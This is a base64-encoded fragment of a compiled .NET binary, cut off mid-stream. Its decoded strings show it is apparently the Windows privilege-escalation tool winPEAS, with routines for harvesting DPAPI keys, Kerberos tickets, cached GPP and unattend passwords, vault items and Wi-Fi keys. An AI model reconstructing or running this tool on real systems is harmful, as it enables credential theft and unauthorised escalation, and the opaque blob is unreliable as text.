YWMzADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRVQUNJbmZvfDQwXzE0AENWRV8yMDE5XzEwNjQAVUludDY0AFRvSW50NjQAV1RTU2Vzc2lvbkFkZHJlc3NWNAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TEFQU0luZm98NDBfNAA8UHJpbnRJbmZvVXNlcnM+Z19fUHJpbnRMb2dnZWRVc2Vyc3w0MV80ADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50RmlyZXdhbGxSdWxlc3w0NV80ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludERQQVBJTWFzdGVyS2V5c3w0Nl80ADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50ZUN1cnJlbnRJRVRhYnN8NDdfNAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VW5hdHRlbmRGaWxlc3w0OF80ADw+Zl9fQW5vbnltb3VzVHlwZTBgNABtYWM0AGRlc19jYmNfbWQ0AENWRV8yMDE5XzE0MDUAQ1ZFXzIwMTlfMTMxNQBDVkVfMjAxOV8xMzg1ADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRXZGlnZXN0fDQwXzUAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UmRwU2Vzc2lvbnN8NDFfNQA8UHJpbnRJbmZvTmV0d29yaz5nX19QcmludEROU0NhY2hlfDQ1XzUAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50RHBhcGlDcmVkRmlsZXN8NDZfNQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGYXZJRXw0N181ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRTQU1CYWNrdXBzfDQ4XzUAbWFjNQBkZXMzX2NiY19tZDUAZGVzX2NiY19tZDUAYXJnNQBSZWFkSW50MTYAQ1ZFXzIwMTlfMDgzNgBhZXMyNTZfY3RzX2htYWNfc2hhMV85NgBhZXMxMjhfY3RzX2htYWNfc2hhMV85NgA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TFNBUHJvdGVjdGlvbnw0MF82ADxQcmludEluZm9Vc2Vycz5nX19QcmludEV2ZXJMb2dnZWRVc2Vyc3w0MV82ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFJDTWFuRmlsZXN8NDZfNgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50TWNBZmZlU2l0ZWxpc3RGaWxlc3w0OF82AG1hYzYAYXJnNgBWQVVMVF9JVEVNX1dJTjcAVmF1bHRHZXRJdGVtX1dJTjcAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENyZWRlbnRpYWxHdWFyZHw0MF83ADxQcmludEluZm9Vc2Vycz5nX19QcmludEF1dG9Mb2dpbnw0MV83ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEtlcmJlcm9zVGlja2V0c3w0Nl83ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRDYWNoZWRHUFBQYXNzd29yZHw0OF83AG1hYzcAYWVzMTI4X2N0c19obWFjX3NoYTI1Nl8xMjgAQ1ZFXzIwMTlfMTM4OABWQVVMVF9JVEVNX1dJTjgAVmF1bHRHZXRJdGVtX1dJTjgAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENhY2hlZENyZWRzfDQwXzgAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50SG9tZUZvbGRlcnN8NDFfOAA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRLZXJiZXJvc1RHVFRpY2tldHN8NDZfOAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UG9zc0NyZWRzUmVnc3w0OF84ADw+OQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50VXNlckVWfDQwXzkAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UGFzc3dvcmRQb2xpY2llc3w0MV85ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFdpZml8NDZfOQA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlckNyZWRzRmlsZXN8NDhfOQA8RW51bWVyYXRlRG9tYWlucz5kX185ADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgAwOUIzODRCMEQ4RkFDQTg1RkU2RTg2RUUzNzJEMkZERjQ0RkVEQzBBAFNFQ1VSSVRZX0xPR09OX1NFU1NJT05fREFUQQBNQUdFTlRBAGJhZFVBQwBnb29kVUFDAEdDAFBVQkxJQwBET01BSU5fUkVBRABTQU1fU0VSVkVSX1JFQUQAU1RBVFVTX0FDQ0VTU19ERU5JRUQAU0VfUFJJVklMRUdFX0VOQUJMRUQARElTQUJMRUQAS0VSQl9SRVRSSUVWRV9USUNLRVRfQVNfS0VSQl9DUkVEAEtFUkJfUkVUUklFVkVfVElDS0VUX1dJVEhfU0VDX0NSRUQATFJFRABTRV9QUklWSUxFR0VfUkVNT1ZFRAByc2FFU19PQUVQX0VOVl9PSUQAZGVzX2VkZTNfY2JjX0Vudl9PSUQAZHNhV2l0aFNIQTFfQ21zT0lEAHNoYTFXaXRoUlNBRW5jcnlwdGlvbl9DbXNPSUQAbWQ1V2l0aFJTQUVuY3J5cHRpb25fQ21zT0lEAHJjMkNCQ19FbnZPSUQAcnNhRW5jcnlwdGlvbl9FbnZPSUQAR2V0VHlwZUZyb21DTFNJRABMVUlEAFZBVUxUX1NDSEVNQV9FTEVNRU5UX0lEAExvZ2luSUQAU2Vzc2lvbklEAEV4ZWNDTUQAUFNpRABET01BSU5fUkVGVVNFX1BBU1NXT1JEX0NIQU5HRQBET01BSU5fUEFTU1dPUkRfTk9fQU5PTl9DSEFOR0UARE9NQUlOX1BBU1NXT1JEX05PX0NMRUFSX0NIQU5HRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9ET05UX1VTRV9DQUNIRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ1JFREhBTkRMRQBTVEFUVVNfSU5WQUxJRF9IQU5ETEUAU0VDVVJJVFlfSEFORExFAEtFUkJfRVhURVJOQUxfTkFNRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9NQVhfTElGRVRJTUUAS0VSQl9QUk9UT0NPTF9NRVNTQUdFX1RZUEUAU0VDVVJJVFlfTE9HT05fVFlQRQBLRVJCX0VOQ1JZUFRJT05fVFlQRQBWQVVMVF9FTEVNRU5UX1RZUEUAS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UAS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0UAUFJJVkFURQBET01BSU5fV1JJVEUAU0FNX1NFUlZFUl9XUklURQBET01BSU5fRVhFQ1VURQBTQU1fU0VSVkVSX0VYRUNVVEUATEJMVUUAU0FNX1NFUlZFUl9JTklUSUFMSVpFAEdldE15UGVybWlzc2lvbnNGAFVOSUNPREVfU1RSSU5HAFNUQVRVU19PQkpFQ1RfVFlQRV9NSVNNQVRDSABDaGVja1JlZ0FOU0kARE9NQUlOX0FDQ0VTU19NQVNLAFNFUlZFUl9BQ0NFU1NfTUFTSwBTRUNVUklUWV9JTVBFUlNPTkFUSU9OX0xFVkVMAEFMTABMQ1lBTgBMR1JFRU4AU0FNX1NFUlZFUl9DUkVBVEVfRE9NQUlOAFNUQVRVU19OT19TVUNIX0RPTUFJTgBTQU1fU0VSVkVSX0xPT0tVUF9ET01BSU4ATFNBX1NUUklOR19JTgBET01BSU5fUEFTU1dPUkRfSU5GT1JNQVRJT04AU0FNX1NFUlZFUl9TSFVURE9XTgBLRVJCX1RJQ0tFVF9DQUNIRV9JTkZPAFN5c3RlbS5JTwBET01BSU5fR0VUX0FMSUFTX01FTUJFUlNISVAARGVjcnlwdEdQUABET01BSU5fTE9PS1VQAERPTUFJTl9DUkVBVEVfR1JPVVAARVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgBET01BSU5fQ1JFQVRFX1VTRVIAU1RBVFVTX0lOVkFMSURfUEFSQU1FVEVSAERPTUFJTl9BRE1JTklTVEVSX1NFUlZFUgBOT0NPTE9SAEdldE15UGVybWlzc2lvbnNSAHdpblBFQVMARE9NQUlOX0NSRUFURV9BTElBUwBUT0tFTl9QUklWSUxFR0VTAFNUQVRVU19NT1JFX0VOVFJJRVMAUEFTU1dPUkRfUFJPUEVSVElFUwBMVUlEX0FORF9BVFRSSUJVVEVTAEtFUkJfVElDS0VUX0ZMQUdTAERPTUFJTl9XUklURV9QQVNTV09SRF9QQVJBTVMAU0FNX1NFUlZFUl9FTlVNRVJBVEVfRE9NQUlOUwBET01BSU5fTE9DS09VVF9BRE1JTlMAS0VSQl9DQUNIRV9PUFRJT05TAGJhZExBUFMARE9NQUlOX1JFQURfUEFTU1dPUkRfUEFSQU1FVEVSUwBET01BSU5fUkVBRF9PVEhFUl9QQVJBTUVURVJTAERPTUFJTl9XUklURV9PVEhFUl9QQVJBTUVURVJTAFdUU19DT05ORUNUU1RBVEVfQ0xBU1MAVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MARE9NQUlOX0lORk9STUFUSU9OX0NMQVNTAFdUU19JTkZPX0NMQVNTAERPTUFJTl9BTExfQUNDRVNTAFNBTV9TRVJWRVJfQUxMX0FDQ0VTUwBTRV9QUklWSUxFR0VfVVNFRF9GT1JfQUNDRVNTAFNUQVRVU19TVUNDRVNTAFdUU19DTElFTlRfQUREUkVTUwBET01BSU5fTElTVF9BQ0NPVU5UUwBOVFNUQVRVUwBTQU1fU0VSVkVSX0NPTk5FQ1QAS0VSQl9SRVRSSUVWRV9USUNLRVRfQ0FDSEVfVElDS0VUAEtFUkJfRVhURVJOQUxfVElDS0VUAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2VfS0VSQl9SRVRSSUVWRV9US1QAS0VSQl9SRVRSSUVWRV9USUNLRVRfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAFZBVUxUX0lURU1fRUxFTUVOVABLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVFVRVNUAEtFUkJfUkVUUklFVkVfVEtUX1JFUVVFU1QATFNBX1NUUklOR19PVVQARE9NQUlOX1BBU1NXT1JEX1NUT1JFX0NMRUFSVEVYVABHZXRQcm9jVQBnZXRfSVYAc2V0X0lWAExZRUxMT1cATUlCX0lQTkVUUk9XAERPTUFJTl9QQVNTV09SRF9DT01QTEVYAERHUkFZAEtFUkJfQ1JZUFRPX0tFWQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ0FDSEVfT05MWQB2YWx1ZV9fAEdldEtlcmJlcm9zVEdURGF0YQBwcExvZ29uU2Vzc2lvbkRhdGEATHNhR2V0TG9nb25TZXNzaW9uRGF0YQBQcm9wZXJ0eURhdGEAbXNjb3JsaWIAPD5jAGNhbWVsbGlhMjU2X2N0c19jbWFjAGNhbWVsbGlhMTI4X2N0c19jbWFjAHJjNF9obWFjAER5bmFtaWMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAU3RhdGljAGdldF9Qcm9jAGRlc19jYmNfY3JjAEZyb21GaWxlVGltZVV0YwBXVFNPRU1JZABnZXRfSWQAU2NoZW1hSWQAc2NoZW1hSWQAZ2V0X01hbmFnZWRUaHJlYWRJZAA8PmxfX2luaXRpYWxUaHJlYWRJZABXVFNDbGllbnRIYXJkd2FyZUlkAERvbWFpbklkAExvZ29uSWQAV1RTU2Vzc2lvbklkAFRva2VuU2Vzc2lvbklkAHNlc3Npb25JZABXVFNDbGllbnRQcm9kdWN0SWQAU2NoZW1hRWxlbWVudElkAEV4ZWNFbnZJZABhbnNpX2NvbG9yX2JhZABnZXRfQ3VycmVudFRocmVhZABMb2FkAEFkZABidWZTaXplTmVlZGVkAGZvcndhcmRlZABMYXN0TW9kaWZpZWQAZ2V0X0VuYWJsZWQAb25seURpc2FibGVkAGFuc2lfdXNlcnNfZGlzYWJsZWQAVW5kZWZpbmVkAElzRG9tYWluSm9pbmVkAE5ldFNldHVwVW5qb2luZWQAcEJ5dGVzUmV0dXJuZWQAQ291bnRSZXR1cm5lZABwb3N0ZGF0ZWQAQ29ubmVjdGVkAERpc2Nvbm5lY3RlZABwcmludF9jcmVkU3RyaW5nc19saW1pdGVkAExzYUNvbm5lY3RVbnRydXN0ZWQAcmVzZXJ2ZWQAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAHBQYWNrYWdlU2lkAEdldERvbWFpblNpZABkb21haW5TaWQAYXR0YWNraWQASW52YWxpZABpbnZhbGlkAHZhdWx0R3VpZABscEx1aWQAbHVpZABkZXMzX2NiY19zaGExX2tkADxQcm9jPmlfX0ZpZWxkADxDb21tTGluZT5pX19GaWVsZAA8UHRoPmlfX0ZpZWxkADxPd25lcj5pX19GaWVsZAA8VnVsbmVyYWJsZT5rX19CYWNraW5nRmllbGQAPE5hbWU+a19fQmFja2luZ0ZpZWxkADxJZGVudGlmaWNhdGlvbj5rX19CYWNraW5nRmllbGQAPEtub3duRXhwbG9pdHM+a19fQmFja2luZ0ZpZWxkAEdldEZpZWxkAGZsZABleGVjX2NtZABSZWFkVG9FbmQAQXBwRW5kAGhXbmQAUHJpbnRMZXllbmQASW52b2tlTWV0aG9kAEdldE1ldGhvZABhbnNpX2NvbG9yX2dvb2QAQ2xpcGJvYXJkAEdldENhY2hlZEdQUFBhc3N3b3JkAGNwYXNzd29yZABFeHRyYWN0VW5hdHRlbmVkZWRQd2QAYmFkcGFzc3dkAEdlbmVyaWNBY2UAQ29tbW9uQWNlAEtub3duQWNlAE5ldHdvcmtJbnRlcmZhY2UAUmVwbGFjZQBDaGVja1F1b3RlQW5kU3BhY2UAZ2V0X1RvdGFsRnJlZVNwYWNlAFRhc2tTZXJ2aWNlAGlzX3NlcnZpY2UAZ2V0X0luc3RhbmNlAENyZWF0ZUluc3RhbmNlAFRva2VuU2Vzc2lvblJlZmVyZW5jZQBnZXRfSWRlbnRpdHlSZWZlcmVuY2UAVG9rZW5Tb3VyY2UAUmVzb3VyY2UAR2V0SGFzaENvZGUAZ2V0X0Vycm9yQ29kZQBTZWN1cml0eU1vZGUAU2VsZWN0U2luZ2xlTm9kZQBYbWxOb2RlAGdldF9Vbmljb2RlAE5ldEFwaUJ1ZmZlckZyZWUAVmF1bHRGcmVlAGdldF9NaW5QYXNzd29yZEFnZQBzZXRfTWluUGFzc3dvcmRBZ2UAX21pblBhc3N3b3JkQWdlAGdldF9NYXhQYXNzd29yZEFnZQBzZXRfTWF4UGFzc3dvcmRBZ2UAX21heFBhc3N3b3JkQWdlAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAFByaW50VXNhZ2UAS2VyYlF1ZXJ5VGlja2V0Q2FjaGVFeDJNZXNzYWdlAEtlcmJRdWVyeVRpY2tldENhY2hlRXgzTWVzc2FnZQBnZXRfTWVzc2FnZQBLZXJiRGVjcnlwdERhdGFNZXNzYWdlAEtlcmJWZXJpZnlQYWNNZXNzYWdlAEtlcmJDaGFuZ2VQYXNzd29yZE1lc3NhZ2UAS2VyYkNoYW5nZU1hY2hpbmVQYXNzd29yZE1lc3NhZ2UAS2VyYlNldFBhc3N3b3JkTWVzc2FnZQBLZXJiUHVyZ2VCaW5kaW5nQ2FjaGVNZXNzYWdlAEtlcmJRdWVyeUJpbmRpbmdDYWNoZU1lc3NhZ2UAS2VyYlB1cmdlVGlja2V0Q2FjaGVNZXNzYWdlAEtlcmJRdWVyeVRpY2tldENhY2hlTWVzc2FnZQBLZXJiUXVlcnlTNFUyUHJveHlDYWNoZU1lc3NhZ2UAS2VyYlB1cmdlS2RjUHJveHlDYWNoZU1lc3NhZ2UAS2VyYlF1ZXJ5S2RjUHJveHlDYWNoZU1lc3NhZ2UAS2VyYkNsZWFudXBNYWNoaW5lUGtpbml0Q3JlZHNNZXNzYWdlAEtlcmJRdWVyeURvbWFpbkV4dGVuZGVkUG9saWNpZXNNZXNzYWdlAEtlcmJVcGRhdGVBZGRyZXNzZXNNZXNzYWdlAEtlcmJBZGRFeHRyYUNyZWRlbnRpYWxzTWVzc2FnZQBLZXJiUmVmcmVzaFNtYXJ0Y2FyZENyZWRlbnRpYWxzTWVzc2FnZQBLZXJiUXVlcnlTdXBwbGVtZW50YWxDcmVkZW50aWFsc01lc3NhZ2UAS2VyYlRyYW5zZmVyQ3JlZGVudGlhbHNNZXNzYWdlAEtlcmJWZXJpZnlDcmVkZW50aWFsc01lc3NhZ2UAS2VyYlJldHJpZXZlRW5jb2RlZFRpY2tldE1lc3NhZ2UAS2VyYlJldHJpZXZlVGlja2V0TWVzc2FnZQBLZXJiU3VibWl0VGlja2V0TWVzc2FnZQBLZXJiRGVidWdSZXF1ZXN0TWVzc2FnZQBLZXJiU2V0UGFzc3dvcmRFeE1lc3NhZ2UAS2VyYlB1cmdlVGlja2V0Q2FjaGVFeE1lc3NhZ2UAS2VyYlF1ZXJ5VGlja2V0Q2FjaGVFeE1lc3NhZ2UAS2VyYkFkZEV4dHJhQ3JlZGVudGlhbHNFeE1lc3NhZ2UAS2VyYkFkZEJpbmRpbmdDYWNoZUVudHJ5RXhNZXNzYWdlAEtlcmJBZGRCaW5kaW5nQ2FjaGVFbnRyeU1lc3NhZ2UAZ2V0X0N1cnJlbnRJbnB1dExhbmd1YWdlAEFkZFJhbmdlAEdldFJhbmdlAEdldEROU0NhY2hlAEludm9rZQBGcmVlTWliVGFibGUAcElwTmV0VGFibGUAR2V0SXBOZXRUYWJsZQBwbHBOZXRUYWJsZQBmb3J3YXJkYWJsZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAHByb3hpYWJsZQBJRW51bWVyYWJsZQBnZXRfVnVsbmVyYWJsZQBzZXRfVnVsbmVyYWJsZQBTZXRBc1Z1bG5lcmFibGUASURpc3Bvc2FibGUASGFzaHRhYmxlAHJlbmV3YWJsZQBEb3VibGUASWRsZQBnZXRfSGFuZGxlAExzYUhhbmRsZQBSdW50aW1lRmllbGRIYW5kbGUAc2VydmljZUhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBTYW1DbG9zZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBEdXBsaWNhdGVUb2tlbkhhbmRsZQBFeGlzdGluZ1Rva2VuSGFuZGxlAERvbWFpbkhhbmRsZQBTZXJ2ZXJIYW5kbGUAQ3JlZGVudGlhbHNIYW5kbGUAUHJvY2Vzc0hhbmRsZQB2YXVsdEhhbmRsZQBfaGFuZGxlAEdldFBlcm1pc3Npb25zRmlsZQBJc0luUm9sZQBXaW5kb3dzQnVpbHRJblJvbGUAQ29uc29sZQBHZXRBY3RpdmVXaW5kb3dUaXRsZQBBdXRob3JpemF0aW9uUnVsZQBGaWxlU3lzdGVtQWNjZXNzUnVsZQBSZWdpc3RyeUFjY2Vzc1J1bGUAZ2V0X05hbWUAZ2V0X1NlcnZpY2VOYW1lAFBhY2thZ2VOYW1lAExvb2t1cFByaXZpbGVnZU5hbWUAc2V0X0ZpbGVOYW1lAEdldEZpbGVOYW1lAEdldEVsZW1lbnRzQnlUYWdOYW1lAGNjaE5hbWUAZ2V0X0VuZ2xpc2hOYW1lAGxwU3lzdGVtTmFtZQBSZWFsbU5hbWUAcEZhcm1OYW1lAGN1cnJlbnRBRERvbWFpbk5hbWUAV1RTRG9tYWluTmFtZQBnZXRfRG9tYWluTmFtZQBOZXRTZXR1cERvbWFpbk5hbWUAZ2V0X1VzZXJEb21haW5OYW1lAGN1cnJlbnRVc2VyRG9tYWluTmFtZQBEbnNEb21haW5OYW1lAEFsdFRhcmdldERvbWFpbk5hbWUAcFNlc3Npb25OYW1lAFdUU0FwcGxpY2F0aW9uTmFtZQBXVFNXaW5TdGF0aW9uTmFtZQBscE5hbWUAc3RhdGljU0lEMkdyb3VwTmFtZQBHZXRTSURHcm91cE5hbWUATmV0U2V0dXBXb3JrZ3JvdXBOYW1lAFdUU1VzZXJOYW1lAGdldF9Vc2VyTmFtZQBwVXNlck5hbWUAc1VzZXJOYW1lAGN1cnJlbnRVc2VyTmFtZQBwU2VydmVyTmFtZQBnZXRfUHJvY2Vzc05hbWUATG9nb25Qcm9jZXNzTmFtZQBUYXJnZXROYW1lAFdUU0NsaWVudE5hbWUAZ2V0X1NhbUFjY291bnROYW1lAHNldF9TYW1BY2NvdW50TmFtZQBwSG9zdE5hbWUAR2V0SG9zdE5hbWUAR2V0UHJvY2Vzc2VzQnlOYW1lAGdldF9EaXNwbGF5TmFtZQBHZXRBc3NlbWJseU5hbWUAcHN6Q3JlZGVudGlhbEZyaWVuZGx5TmFtZQBnZXRfQ29tcGFueU5hbWUAR2V0RGlyZWN0b3J5TmFtZQBwY25hbWUAVXNlcm5hbWUARW5kVGltZQBXVFNJZGxlVGltZQBGcm9tRmlsZVRpbWUARGF0ZVRpbWUAR2V0TGFzdFdyaXRlVGltZQBMb2dpblRpbWUAV1RTTG9nb25UaW1lAEtleUV4cGlyYXRpb25UaW1lAEdldExhc3RBY2Nlc3NUaW1lAFN0YXJ0VGltZQBSZW5ld1RpbWUAc2VhcmNoX3RpbWUARmluZE9uZQBSZWFkTGluZQBXcml0ZUxpbmUAZ2V0X0NvbW1MaW5lAExvY2FsTWFjaGluZQBJc1ZpcnR1YWxNYWNoaW5lAE1lc3NhZ2VUeXBlAE5hbWVUeXBlAFZhbHVlVHlwZQBnZXRfRHJpdmVUeXBlAFdUU0NsaWVudFByb3RvY29sVHlwZQBUb2tlblR5cGUATG9nb25UeXBlAEVuY3J5cHRpb25UeXBlAEdldFR5cGUAR2V0RWxlbWVudFR5cGUAQ29udGV4dFR5cGUAZHdUeXBlAEtleVR5cGUAQXJwRW50cnlUeXBlAElkZW50aXR5VHlwZQBXaGVyZQBTeXN0ZW0uQ29yZQBQdHJUb1N0cnVjdHVyZQBnZXRfSW5zdGFsbGVkVUlDdWx0dXJlAGdldF9DdWx0dXJlAENhcHR1cmUATWV0aG9kQmFzZQBSZWFkT25seUNvbGxlY3Rpb25CYXNlAHN0ckZhbHNlAFN5c3RlbS5JRGlzcG9zYWJsZS5EaXNwb3NlAFBhcnNlAFJldmVyc2UAbWF5X3Bvc3RkYXRlAG9rX2FzX2RlbGVnYXRlAFRyYW5zbGF0ZQBQb3B1bGF0ZQBEZWJ1Z2dlckJyb3dzYWJsZVN0YXRlAFdUU0Nvbm5lY3RTdGF0ZQA8PjFfX3N0YXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnZXJCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBYbWxBdHRyaWJ1dGUARGVidWdnZXJIaWRkZW5BdHRyaWJ1dGUAQXNzZW1ibHlGaWxlVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBGbGFnc0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAc2V0X1VzZVNoZWxsRXhlY3V0ZQBSZWFkQnl0ZQBnZXRfVmFsdWUAR2V0UmVnVmFsdWUAR2V0VmFsdWUAR2V0VmF1bHRFbGVtZW50VmFsdWUAdmFsdWUAc3RyVHJ1ZQBoaXZlAG9ubHlBY3RpdmUAYW5zaV91c2Vyc19hY3RpdmUAQ2FjaGVkSW50ZXJhY3RpdmUAQ2FjaGVkUmVtb3RlSW50ZXJhY3RpdmUAUmVtb3ZlAHdpblBFQVMuZXhlAGdldF9TaXplAGJ1ZlNpemUAY2h1bmtTaXplAEVuY29kZWRUaWNrZXRTaXplAHBkd1NpemUAbmFtZV9jYW5vbmljYWxpemUARGVzZXJpYWxpemUAU3VwcHJlc3NGaW5hbGl6ZQBTaXplT2YAZ2V0X0l0ZW1PZgBJbmRleE9mAFJldmVydFRvU2VsZgBscFNlY0Rlc3JCdWYAVGFnAEdldE5vbnN0YW5kYXJkU2VydmljZXNGcm9tUmVnAHJvb3RfcmVnAFN5c3RlbS5UaHJlYWRpbmcARW5jb2RpbmcAR2V0UGF0aERMTEhpamFja2luZwBTeXN0ZW0uUnVudGltZS5WZXJzaW9uaW5nAEZyb21CYXNlNjRTdHJpbmcAVG9CYXNlNjRTdHJpbmcAR2V0Rm9sZGVyRnJvbVN0cmluZwBUb1N0cmluZwBHZXRTdHJpbmcAU3Vic3RyaW5nAGRpc3Bvc2luZwBCYXRjaABJc01hdGNoAHRvX21hdGNoAENvbXB1dGVTdHJpbmdIYXNoAGdldF9QdGgAUmVjb25zdHJ1Y3RFeGVjUGF0aABHZXRFeGVjdXRhYmxlRnJvbVBhdGgAR2V0SW5zdGFsbGVkQXBwc1Blcm1zUGF0aABmaWxlcGF0aABmcGF0aABnZXRfTGVuZ3RoAE1pblBhc3N3b3JkTGVuZ3RoAFByZWZlcmVkTWF4aW11bUxlbmd0aABUb2tlbkluZm9ybWF0aW9uTGVuZ3RoAFJldHVybkxlbmd0aABSZXR1cm5CdWZmZXJMZW5ndGgAU3VibWl0QnVmZmVyTGVuZ3RoAGdldF9CaW5hcnlMZW5ndGgAUGFzc3dvcmRIaXN0b3J5TGVuZ3RoAEVuZHNXaXRoAFN0YXJ0c1dpdGgAVmF1bHRDbGkASXNEb21haW5Kb2luZWRXbWkAUHRyVG9TdHJpbmdVbmkAU3RyaW5nVG9IR2xvYmFsVW5pAFJlZ2V4YW5zaQBoYXlzdGFjawBDaGVjawBUcmFuc2Zvcm1GaW5hbEJsb2NrAENhY2hlZFVubG9jawBsaW5rAEdldENocm9tZUhpc3RCb29rAFByaW50SW5mb05ldHdvcmsAZ2V0X0lQdjRNYXNrAGdldF9BY2Nlc3NNYXNrAFRhc2sAQWxsb2NIR2xvYmFsAEZyZWVIR2xvYmFsAGdldF9Mb2NhbABHZXRVc2VyTG9jYWwAY3VycmVudFVzZXJJc0xvY2FsAElsbGVnYWwATWFyc2hhbABzdWJrZXlfa2V5bWF0ZXJpYWwAaW5pdGlhbABTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsAEdyb3VwUHJpbmNpcGFsAFVzZXJQcmluY2lwYWwAV2luZG93c1ByaW5jaXBhbABTZXF1ZW5jZUVxdWFsAEdlbmVyaWNBY2wAUmF3QWNsAGdldF9EaXNjcmV0aW9uYXJ5QWNsAFRva2VuRGVmYXVsdERhY2wAZ2V0X1ZvbHVtZUxhYmVsAFRva2VuSW1wZXJzb25hdGlvbkxldmVsAHBMZXZlbABSZW5ld1VudGlsAFd0c2FwaTMyLmRsbAB3dHNhcGkzMi5kbGwATmV0YXBpMzIuZGxsAGFkdmFwaTMyLmRsbABrZXJuZWwzMi5kbGwAdXNlcjMyLmRsbABTZWN1cjMyLmRsbABzZWN1cjMyLmRsbABzYW1saWIuZGxsAHZhdWx0Y2xpLmRsbABJcEhscEFwaS5kbGwAU3lzdGVtLlhtbABnZXRfSW5uZXJYbWwAU3lzdGVtLlNlY3VyaXR5LkFjY2Vzc0NvbnRyb2wAR2V0QWNjZXNzQ29udHJvbABHZXRBdWRpb1N0cmVhbQBXVFNJbml0aWFsUHJvZ3JhbQBBbGxvY0NvVGFza01lbQBnZXRfSXRlbQBzZXRfSXRlbQBWYXVsdEdldEl0ZW0AdmF1bHRJdGVtAE9wZXJhdGluZ1N5c3RlbQBHZXRTeXN0ZW0AU3ltbWV0cmljQWxnb3JpdGhtAFRyaW0AY3VycmVudF9wZXJtAEdldEJpbmFyeUZvcm0ASUNyeXB0b1RyYW5zZm9ybQBFbnVtAEJvb2xlYW4Ab3BfR3JlYXRlclRoYW4AVGltZVNwYW4AZHdQaHlzQWRkckxlbgBnZXRfVG9rZW4ARHVwbGljYXRlVG9rZW4AaFRva2VuAE9wZW5Qcm9jZXNzVG9rZW4ATGlzdGVuAEdldFJlY3ljbGVCaW4ATWFpbgBTYW1PcGVuRG9tYWluAExvZ2luRG9tYWluAFNhbVNldEluZm9ybWF0aW9uRG9tYWluAFNhbVF1ZXJ5SW5mb3JtYXRpb25Eb21haW4AR2V0VXNlckRvbWFpbgBwYXJ0b2Zkb21haW4AVG9rZW5PcmlnaW4ASm9pbgBHZXRBdXRvTG9nb24AZ2V0X09TVmVyc2lvbgBnZXRfVmVyc2lvbgB2ZXJzaW9uAFdUU0lzUmVtb3RlU2Vzc2lvbgBnZXRfSWRlbnRpZmljYXRpb24Ab3BfVW5hcnlOZWdhdGlvbgBHZXREb21haW5QYXNzd29yZEluZm9ybWF0aW9uAFNldERvbWFpblBhc3N3b3JkSW5mb3JtYXRpb24AcGFzc3dvcmRJbmZvcm1hdGlvbgBTeXN0ZW0uTmV0Lk5ldHdvcmtJbmZvcm1hdGlvbgBHZXRUb2tlbkluZm9ybWF0aW9uAE5ldEdldEpvaW5JbmZvcm1hdGlvbgBXVFNRdWVyeVNlc3Npb25JbmZvcm1hdGlvbgBVbmljYXN0SVBBZGRyZXNzSW5mb3JtYXRpb